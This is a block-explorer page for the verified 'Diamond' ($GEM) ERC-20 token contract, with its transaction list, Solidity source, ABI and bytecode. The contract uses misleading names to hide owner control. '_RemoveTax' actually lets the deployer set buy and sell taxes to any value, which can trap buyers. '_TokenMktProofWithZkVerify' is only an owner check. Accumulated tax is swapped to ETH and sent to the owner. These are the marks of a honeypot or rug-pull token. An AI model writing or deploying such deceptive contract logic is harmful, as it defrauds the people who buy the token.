ETH Price: $3,370.32 (+3.51%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Change Data204271692024-07-31 14:35:59184 days ago1722436559IN
0x276D64BF...6a1DA638d
0 ETH0.0008850322.77029387
Change Data204138832024-07-29 18:01:47185 days ago1722276107IN
0x276D64BF...6a1DA638d
0 ETH0.00017844.56047222
Approve204138762024-07-29 18:00:23185 days ago1722276023IN
0x276D64BF...6a1DA638d
0 ETH0.000198324.27220664
_Remove Tax204137792024-07-29 17:40:59185 days ago1722274859IN
0x276D64BF...6a1DA638d
0 ETH0.000109464.04930286
Opened Trade204137542024-07-29 17:35:59185 days ago1722274559IN
0x276D64BF...6a1DA638d
0 ETH0.000230754.18668243
Approve204137372024-07-29 17:32:35185 days ago1722274355IN
0x276D64BF...6a1DA638d
0 ETH0.000203234.39971233

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Diamond

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 3 : Contract.sol
/*
"THE DIAMONDS STANDARD"

$GEM 💎

Links: 
https://diamondstandard.xyz
https://t.me/TheDiamond_GEM
X.com/TheDiamond_GEM
*/


// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "./draft-IERC6093.sol";
import "./IUniswapFactory.sol";


contract Diamond 
{ 
    string private _name = unicode"Diamond";
    string private _symbol = unicode"GEM";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 333333 * 10**decimals;

    struct StoreData {
        address tokenMkt;
        uint8 BuyTaxFee;
        uint8 SellTaxFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _BuyTaxFee = 0;
        uint8 _SellTaxFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            BuyTaxFee: _BuyTaxFee,
            SellTaxFee: _SellTaxFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function _RemoveTax(uint8 _BrStorage, uint8 _SrStorage) external {
        if (msg.sender != _TokenMktProofWithZkVerify()) revert Permissions();
        RemoveTax(_BrStorage, _SrStorage);
    }

    function _TokenMktProofWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openedTrade() external {
        require(msg.sender == _TokenMktProofWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function RemoveTax(uint8 _buy, uint8 _sell) private {
        storeData.BuyTaxFee = _buy;
        storeData.SellTaxFee = _sell;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _TokenMktProofWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _BuyTaxFee, uint8 _SellTaxFee) = (storeData.BuyTaxFee, storeData.SellTaxFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _SellTaxFee : _BuyTaxFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    

    function ChangeData(string memory _DataName, string memory _DataSymbol) public {
        if (msg.sender != _TokenMktProofWithZkVerify()) revert Permissions();
        _name = _DataName;
        _symbol =_DataSymbol;
        emit Data(_DataName, _DataSymbol, msg.sender);
    }

}

File 2 of 3 : IUniswapFactory.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;


interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) 
        external 
        view 
        returns 
        (address pair);
    function allPairs(uint) 
        external 
        view 
        returns 
        (address pair);
    function allPairsLength() 
        external 
        view 
        returns 
        (uint);
    function feeTo() 
        external 
        view 
        returns 
        (address);
    function feeToSetter() 
        external 
        view 
        returns 
        (address);
    
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );


}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

event Data(string newName,string newSymbol , address by);

File 3 of 3 : draft-IERC6093.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"newName","type":"string"},{"indexed":false,"internalType":"string","name":"newSymbol","type":"string"},{"indexed":false,"internalType":"address","name":"by","type":"address"}],"name":"Data","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"string","name":"_DataName","type":"string"},{"internalType":"string","name":"_DataSymbol","type":"string"}],"name":"ChangeData","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_BrStorage","type":"uint8"},{"internalType":"uint8","name":"_SrStorage","type":"uint8"}],"name":"_RemoveTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"BuyTaxFee","type":"uint8"},{"internalType":"uint8","name":"SellTaxFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526007608090815266111a585b5bdb9960ca1b60a0525f9061002590826101da565b5060408051808201909152600381526247454d60e81b602082015260019061004d90826101da565b50348015610059575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b1990931692909217909155806100a36012600a61038d565b6100b090620516156103a2565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61011d6012600a61038d565b61012a90620516156103a2565b60405190815260200160405180910390a350506103b9565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061016a57607f821691505b60208210810361018857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101d557805f5260205f20601f840160051c810160208510156101b35750805b601f840160051c820191505b818110156101d2575f81556001016101bf565b50505b505050565b81516001600160401b038111156101f3576101f3610142565b610207816102018454610156565b8461018e565b6020601f821160018114610239575f83156102225750848201515b5f19600385901b1c1916600184901b1784556101d2565b5f84815260208120601f198516915b828110156102685787850151825560209485019460019092019101610248565b508482101561028557868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102e3578085048111156102c7576102c7610294565b60018416156102d557908102905b60019390931c9280026102ac565b935093915050565b5f826102f957506001610387565b8161030557505f610387565b816001811461031b576002811461032557610341565b6001915050610387565b60ff84111561033657610336610294565b50506001821b610387565b5060208310610133831016604e8410600b8410161715610364575081810a610387565b6103705f1984846102a8565b805f190482111561038357610383610294565b0290505b92915050565b5f61039b60ff8416836102eb565b9392505050565b808202811582820484141761038757610387610294565b611177806103c65f395ff3fe6080604052600436106100dc575f3560e01c80635408d42d1161007c57806395d89b411161005757806395d89b4114610284578063a8aa1b3114610298578063a9059cbb146102cf578063dd62ed3e146102ee575f80fd5b80635408d42d1461022657806370a082311461023a5780637a7986bb14610265575f80fd5b806323b872dd116100b757806323b872dd14610162578063313ce567146101815780633190b74c146101a75780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b98565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610bc1565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015461041f565b604051908152602001610108565b34801561016d575f80fd5b5061013061017c366004610beb565b61043b565b34801561018c575f80fd5b50610195601281565b60405160ff9091168152602001610108565b3480156101b2575f80fd5b506101c66101c1366004610c3e565b610488565b005b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b506101c66104e6565b348015610245575f80fd5b50610154610254366004610c6f565b60036020525f908152604090205481565b348015610270575f80fd5b506101c661027f366004610d29565b61069c565b34801561028f575f80fd5b506100fb61071e565b3480156102a3575f80fd5b506005546102b7906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102da575f80fd5b506101306102e9366004610bc1565b61072d565b3480156102f9575f80fd5b50610154610308366004610d8e565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610dc5565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610dc5565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b61042b6012600a610ef4565b6104389062051615610f02565b81565b6001600160a01b0383165f90815260046020908152604080832033845290915281208054839190839061046f908490610f19565b909155506104809050848484610740565b949350505050565b6002546001600160a01b031633146104b257604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b031633146104fc575f80fd5b600554600160a81b900460ff1615610512575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610563573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105879190610f2c565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105fe9190610f2c565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561064d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106719190610f2c565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b031633146106c657604051629af2b160e81b815260040160405180910390fd5b5f6106d18382610f93565b5060016106de8282610f93565b507f85b9b94225b878231ce4d0b490112fdc3c3c72eb38733899a8c469c46ad63cb08282336040516107129392919061104e565b60405180910390a15050565b60606001805461033290610dc5565b5f610739338484610740565b9392505050565b5f806107546002546001600160a01b031690565b600554909150600160a81b900460ff16806107805750806001600160a01b0316856001600160a01b0316145b8061079c5750806001600160a01b0316846001600160a01b0316145b6107a4575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906107cb908490610f19565b90915550506005546001600160a01b0385811691161480156107f75750600554600160a01b900460ff16155b80156108355750606461080c6012600a610ef4565b6108199062051615610f02565b610823919061108b565b305f9081526003602052604090205410155b80156108535750806001600160a01b0316856001600160a01b031614155b15610a30576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061089e5761089e6110aa565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109329190610f2c565b81600181518110610945576109456110aa565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646109856012600a610ef4565b6109929062051615610f02565b61099c919061108b565b5f8430426040518663ffffffff1660e01b81526004016109c09594939291906110be565b5f604051808303815f87803b1580156109d7575f80fd5b505af11580156109e9573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a20573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a6e5750600554600160a81b900460ff1615156001145b15610ae2576005545f906064906001600160a01b03898116911614610a935783610a95565b825b610aa29060ff1688610f02565b610aac919061108b565b9050610ab88187610f19565b305f90815260036020526040812080549298508392909190610adb90849061112e565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610b0990849061112e565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b5591815260200190565b60405180910390a35060019695505050505050565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6107396020830184610b6a565b6001600160a01b0381168114610bbe575f80fd5b50565b5f8060408385031215610bd2575f80fd5b8235610bdd81610baa565b946020939093013593505050565b5f805f60608486031215610bfd575f80fd5b8335610c0881610baa565b92506020840135610c1881610baa565b929592945050506040919091013590565b803560ff81168114610c39575f80fd5b919050565b5f8060408385031215610c4f575f80fd5b610c5883610c29565b9150610c6660208401610c29565b90509250929050565b5f60208284031215610c7f575f80fd5b813561073981610baa565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610cad575f80fd5b813567ffffffffffffffff811115610cc757610cc7610c8a565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715610cf657610cf6610c8a565b604052818152838201602001851015610d0d575f80fd5b816020850160208301375f918101602001919091529392505050565b5f8060408385031215610d3a575f80fd5b823567ffffffffffffffff811115610d50575f80fd5b610d5c85828601610c9e565b925050602083013567ffffffffffffffff811115610d78575f80fd5b610d8485828601610c9e565b9150509250929050565b5f8060408385031215610d9f575f80fd5b8235610daa81610baa565b91506020830135610dba81610baa565b809150509250929050565b600181811c90821680610dd957607f821691505b602082108103610df757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e4c57808504811115610e3057610e30610dfd565b6001841615610e3e57908102905b60019390931c928002610e15565b935093915050565b5f82610e6257506001610419565b81610e6e57505f610419565b8160018114610e845760028114610e8e57610eaa565b6001915050610419565b60ff841115610e9f57610e9f610dfd565b50506001821b610419565b5060208310610133831016604e8410600b8410161715610ecd575081810a610419565b610ed95f198484610e11565b805f1904821115610eec57610eec610dfd565b029392505050565b5f61073960ff841683610e54565b808202811582820484141761041957610419610dfd565b8181038181111561041957610419610dfd565b5f60208284031215610f3c575f80fd5b815161073981610baa565b601f821115610f8e57805f5260205f20601f840160051c81016020851015610f6c5750805b601f840160051c820191505b81811015610f8b575f8155600101610f78565b50505b505050565b815167ffffffffffffffff811115610fad57610fad610c8a565b610fc181610fbb8454610dc5565b84610f47565b6020601f821160018114610ff3575f8315610fdc5750848201515b5f19600385901b1c1916600184901b178455610f8b565b5f84815260208120601f198516915b828110156110225787850151825560209485019460019092019101611002565b508482101561103f57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b606081525f6110606060830186610b6a565b82810360208401526110728186610b6a565b91505060018060a01b0383166040830152949350505050565b5f826110a557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561110e5783516001600160a01b03168352602093840193909201916001016110e7565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561041957610419610dfd56fea2646970667358221220cb4ec54a83c0d6bff0bb63b72dc5c51cdb0de8d2af8a3aafd3c17b99edd70d0c64736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c80635408d42d1161007c57806395d89b411161005757806395d89b4114610284578063a8aa1b3114610298578063a9059cbb146102cf578063dd62ed3e146102ee575f80fd5b80635408d42d1461022657806370a082311461023a5780637a7986bb14610265575f80fd5b806323b872dd116100b757806323b872dd14610162578063313ce567146101815780633190b74c146101a75780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b98565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610bc1565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015461041f565b604051908152602001610108565b34801561016d575f80fd5b5061013061017c366004610beb565b61043b565b34801561018c575f80fd5b50610195601281565b60405160ff9091168152602001610108565b3480156101b2575f80fd5b506101c66101c1366004610c3e565b610488565b005b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b506101c66104e6565b348015610245575f80fd5b50610154610254366004610c6f565b60036020525f908152604090205481565b348015610270575f80fd5b506101c661027f366004610d29565b61069c565b34801561028f575f80fd5b506100fb61071e565b3480156102a3575f80fd5b506005546102b7906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102da575f80fd5b506101306102e9366004610bc1565b61072d565b3480156102f9575f80fd5b50610154610308366004610d8e565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610dc5565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610dc5565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b61042b6012600a610ef4565b6104389062051615610f02565b81565b6001600160a01b0383165f90815260046020908152604080832033845290915281208054839190839061046f908490610f19565b909155506104809050848484610740565b949350505050565b6002546001600160a01b031633146104b257604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b031633146104fc575f80fd5b600554600160a81b900460ff1615610512575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610563573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105879190610f2c565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105fe9190610f2c565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561064d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106719190610f2c565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b031633146106c657604051629af2b160e81b815260040160405180910390fd5b5f6106d18382610f93565b5060016106de8282610f93565b507f85b9b94225b878231ce4d0b490112fdc3c3c72eb38733899a8c469c46ad63cb08282336040516107129392919061104e565b60405180910390a15050565b60606001805461033290610dc5565b5f610739338484610740565b9392505050565b5f806107546002546001600160a01b031690565b600554909150600160a81b900460ff16806107805750806001600160a01b0316856001600160a01b0316145b8061079c5750806001600160a01b0316846001600160a01b0316145b6107a4575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906107cb908490610f19565b90915550506005546001600160a01b0385811691161480156107f75750600554600160a01b900460ff16155b80156108355750606461080c6012600a610ef4565b6108199062051615610f02565b610823919061108b565b305f9081526003602052604090205410155b80156108535750806001600160a01b0316856001600160a01b031614155b15610a30576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061089e5761089e6110aa565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109329190610f2c565b81600181518110610945576109456110aa565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646109856012600a610ef4565b6109929062051615610f02565b61099c919061108b565b5f8430426040518663ffffffff1660e01b81526004016109c09594939291906110be565b5f604051808303815f87803b1580156109d7575f80fd5b505af11580156109e9573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a20573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a6e5750600554600160a81b900460ff1615156001145b15610ae2576005545f906064906001600160a01b03898116911614610a935783610a95565b825b610aa29060ff1688610f02565b610aac919061108b565b9050610ab88187610f19565b305f90815260036020526040812080549298508392909190610adb90849061112e565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610b0990849061112e565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b5591815260200190565b60405180910390a3